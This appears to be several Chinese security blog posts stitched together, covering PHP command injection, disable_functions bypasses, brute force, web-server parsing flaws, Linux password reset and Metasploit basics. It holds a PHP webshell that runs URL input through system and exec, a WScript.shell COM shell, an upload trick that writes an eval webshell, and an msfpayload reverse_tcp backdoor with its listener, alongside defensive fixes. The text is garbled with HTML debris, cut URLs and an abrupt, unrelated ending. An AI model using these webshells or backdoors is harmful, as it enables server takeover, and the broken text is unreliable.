php
$cmd="system";
ob_start($cmd);
echo "$_GET[cunlide]";
ob_end_flush();
echo "&br&";
system("$_GET[cunlide]");
echo "&br&";
echo exec("$_GET[cunlide]");
echo "&br&";
echo shell_exec("$_GET[cunlide]");
echo "&br&";
echo passthru("$_GET[cunlide]");
echo "&br&";
echo `$_GET[cunlide]`;
3、PHP后门木马常用的函数类型:
执行系统命令:system, passthru, shell_exec, exec, popen, proc_open
代码执行与加密:eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
文件包含与生成:require,require_once,include, &include_once,file_get_contents, file_put_contents, fputs, fwrite
.htaccess:SetHandler, auto_prepend_file, auto_append_file
二、绕过disable_functions的方法:
禁止 webshell 执行命令原理:PHP配置文件里的disable_functions = &配置,用来禁止某些 php 函数。
1、 黑名单绕过
2、 系统组件绕过(Windows):
&?php&&command&/span&&span&=&/span&&spanclass="vars"&_POST[a];&&wsh&/span&&span&&=&&/span&&span&class="keyword"&new&/span&&span&&COM(&/span&&span&class="string"&'WScript.shell'&/span&&span&);&&&&/span&&span&class="comment"&//&生成一个&COM&对象&/span&&span&&&&/span&&/span&&/li&&li&class=""&&span&&span&class="vars"&exec&=&wsh&/span&&span&-&&/span&&span&class="func"&exec&/span&&span&(&/span&&span&class="string"&'cmd.exe&/c&'&/span&&span&.&/span&&span&class="vars"&command);&&&stdout&/span&&span&&=&&/span&&span&class="vars"&exec-&StdOut();&&stroutput&/span&&span&&=&&/span&&span&class="vars"&stdout-&ReadAll();&&echo&$stroutput&&?&&&&?php
$command=$_POST[a];
$wsh = new COM('WScript.shell');
// 生成一个 COM 对象
$exec = $wsh-&exec('cmd.exe /c '.$command); //调用对象方法来执行命令
$stdout = $exec-&StdOut();
$stroutput = $stdout-&ReadAll();
echo $stroutput
Shell.Application 也可以实现同样的效果。
彻底的解决方案是直接删除 System32 目录下 wshom.ocx 文件。
3、 扩展库绕过:下可通过编译拓展库进行绕过。
防御方法:将dl函数加入disable_function中禁用。
使用PHP突破Disable_functions执行Linux命令:linux 的 webshell 管理员禁用了exec,system,passthru,popen,shell_exec等等 PHP 执行命令函数,导致不能执行命令,php 提供了一个扩展模块功能,使用 dl 函数能包含一个扩展模块。类似.so或者想windows下的 dll 文件。可以自定义函数来调用 linux 命令而无视Disable_functions的限制。
在PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给 create_function()执行任意命令。
三、检测方法:
基于黑盒的测试:简单点就是直接手工在输入内容之后添加各种分号或其它可以绕过的符号再添加命令,最后查看返回结果判断。
基于白盒的测试:查看源代码,搜索与执行PHP代码的函数如eval、assert和执行系统命令的函数如system、passthru等。
四、防御方法:
1、尽量不要执行外部的应用程序或命令。
2、使用自定义函数或函数库实现外部应用程序或命令的功能。
3、在执行 system、eval 等命令执行功能的函数前,确定参数内容。
4、使用 escapeshellarg 函数处理相关参数。Escapeshellarg 函数会将任何引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“\’”,双引号“””会被转义为“\””,分号“ ;”会被转义为“\;”,这样 escapeshellarg 会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
5、使用 safe_mode_exec_dir 执行可执行的文件路径。将 php.ini 文件中的 safe_mode 设置为 On,然后将允许执行的文件放入一个目录中,并使用 safe_mode_exec_dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在 safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。
Brute Force(暴力破解):
一、暴力破解分类:
1、C/S暴力破解:
主要使用的破解工具Hydra、Bruter、X-scan
2、B/S架构暴力破解:
使用Burpsuite镜像表单爆破
二、检测方法:
简单粗暴的方法,直接使用Burpsuite进行暴力破解,看看有没有什么防暴破的机制即可。
三、防御方法:
1、设置复杂的密码
2、采用验证码机制,同时可防范CSRF攻击
3、登陆日志,限制登录次数
4、调用sleep()函数,当登录失败时停止一段时间才允许再次登录,如DVWA的High级的防暴破机制
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
0x00 总览说明
服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在。在此记录汇总一些常见服务器(WEB server)的解析漏洞,比如IIS6.0、IIS7.5、apache、nginx等方便以后回顾温习。
from:http://thief.one//%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/
0x01 归纳总结
(一)IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。
形式:www.xxx.com/xx..jpg原理:服务器默认不解析;号后面的内容,因此xx..jpg便被解析成asp文件了。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa/test.cer/test.cdx
1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx..jpg类型的文件名。2.做好权限设置,限制用户创建文件夹。
(二)apache解析漏洞
  Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
www.xxxx.xxx.com/test.php.php123
其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
&Files ~ “.(php.|php3.)”&
Order Allow,Deny
Deny from all
2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:
&IfModule mod_rewrite.c&
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
&/IfModule&
(三)nginx解析漏洞
  Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
www.xxxx.com/UploadFiles/image/1.jpg/1.phpwww.xxxx.com/UploadFiles/image/1.jpg%00.phpwww.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
xxx.jpg%00.php (Nginx &8.03 空字节代码执行漏洞)
另外一种手法:上传一个名字为test.jpg,以下内容的文件。
&?PHP fputs(fopen('shell.php','w'),'&?php eval($_POST[cmd])?&');?&
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;2.在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。
(四)IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
PS:&a.aspx.a;.a.aspx.jpg..jpg
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
PHP.ini里面的default_charset = "UTF-8"
&meta http-equiv="content-type" content="text/charset=UTF-8"/&
Apache 中文乱码解决方案
服务器端:
修改httpd.conf (在Redhat中放置的位置为/etc/httpd/conf/)
AddDefaultCharset ISO-8859-1
#AddDefaultCharset ISO-8859-1AddDefaultCharset off
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
阅读:1909
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
一、忘记密码
进入单用户模式重置密码:
开机启动时,按‘E’键(倒计时结束前)进入界面
选择第二项,按‘E’键再次进入
在最后一行添加‘ 1’(空格 1)
回车键保存,回到该界面,‘B’键重新引导系统
启动后,我们发现直接进入系统,无需要输入账户及密码
进入后,我们可以根据passwd root来修改密码了
二、输入正确用户名和密码时依旧无法登录。
1、配置文件
单用户模式下输入命令:vi & /etc/pam.d/login
session required /lib/security/pam_limits.so
session required
/lib64/security/pam_limits.so
如果不能找到该语句,则在最后一行添加如下语句:
session required /lib64/security/pam_limits.so
然后保存返回命令行,输入重启命令:shutdow -r now
登录后进入命令界面:
如果为数字密码,请勿用小键盘输入,尝试过几次,均不能进入。
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
1.渗透测试
metasploit几乎包含了渗透所有的工具,涉及渗透测试7个阶段。
前期交互阶段:与客户讨论并确定渗透测试的范围和目标
情报搜集阶段:采取各种手段搜集被攻击者的有用信息
威胁建模阶段:通过搜集的情报信息,
标识目标系统可能存在的安全隐患
漏洞分析阶段:分析漏洞的可行性以及最可行的攻击方法
渗透攻击阶段:对目标进行渗透
后攻击阶段:根据目标的不同,
灵活的应用不同技术. 让目标系统发挥更大的价值
书写渗透报告阶段:撰写渗透报告
使用元编程:metaprogramming语言自身作为程序数据输入的编程思想。
语言同时也是自身的元语言的能力称之为反射
2.metasploit基本用法
banner:查看版本信息
db_driver:metasploit测试前,需要连接(有的版本自动连接)db_connect
search:查找相关模块shellcode(search name:**)
use:使用模块back退出
show options:查看模块参数设置
set:设置参数信息或加载PAYLOAD(setg设置后保存)
exploit:渗透攻击(run别名)
check:测试target(目标)设置是否正确
edit:编辑当前模块
irb:ruby脚本命令行模式
jobs:查看控制台上的任务
3.metasploit攻击方式分类
635种(exploit)溢出模块、314种(auxiliary)辅助模块、215种(payload)加载模块、27种(encoder免杀处理用)编码、8种(nops)
溢出攻击:主动溢出和被动溢出(主动攻击获取权限和监听获取权限)
4.meterpreter模块
msfpayload制作后门程序,在远端电脑运行,使用msfencode制作免杀
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.101.105 LPORT=444 X&meter.exe
本机msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 444
show options
run/exploit
攻击并连接远端后门,进入meterpreter
基本隧道代理功能
(portfwd add -l 2222 -r 10.1.1.129 - p 3389 反弹10.1.1.129端口3389到本地2222并监听)
二级代理/三级代理
5.metasploit二次开发
metasploit所有模块使用ruby编写,msfcli用户接口程序,已被官方团队移除,但仍然可以使用
metasploit所有模块继承自msf::Module,模块写好后,重启console在响应的exploit、auxiliary、payload、endcoder、nops目录中可以看到
6.系统DEP保护
系统内存溢出漏洞,根因在于系统代码段和数据段没有明确的划分。DEP保护,阻止数据页执行shellcode代码
计算机-&系统属性-&高级-&性能-&数据执行保护(windows软件DEP、最下角显示CPU硬件是否支持DEP)
DEP保护分为:软

我要回帖

更多关于 pixiv2018hots 的文章

 

随机推荐